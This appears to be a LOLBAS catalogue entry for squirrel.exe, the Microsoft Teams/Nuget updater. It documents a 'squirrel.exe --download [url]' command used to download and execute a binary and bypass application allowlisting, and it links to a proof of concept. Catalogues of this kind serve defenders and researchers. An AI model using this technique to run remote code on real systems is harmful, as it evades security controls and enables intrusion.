Name: squirrel.exe Description: Binary to update the existing installed Nuget/squirrel package Author: User Created: Installed date Commands: - Command: squirrel.exe --download [url to package] Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Usecase: Download and execute binary Category: Execute Privileges: User Privilege MitreID: T1218 MitreLink: https://attack.mitre.org/techniques/T1218/ OperatingSystem: Windows OS - Command: squirrel.exe --download [url to package] Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Usecase: Download and execute binary Category: AWL Bypass Privileges: User Privilege MitreID: T1218 MitreLink: https://attack.mitre.org/techniques/T1218/ OperatingSystem: Windows 10 - Command: squirrel.exe --download [url to package] Description: The above binary will go that particular location and look for RELEASES file and download the nuget package. Usecase: Download and execute binary Category: Download Privileges: User Privilege MitreID: T1218 MitreLink: https://attack.mitre.org/techniques/T1218/ OperatingSystem: Windows 10 Full_Path: - Path: NA - Path: %localappdata%\Microsoft\Teams\current\Squirrel.exe Code_Sample: - Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel Detection: - IOC: NA - IOC: NA Resources: - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls - Link: https://twitter.com/reegun21/status/1144182772623269889 - Link: NA Acknowledgement: - Person: Reegun J (OCBC Bank) Handle: @reegun21 - Person: NA Handle: NA ---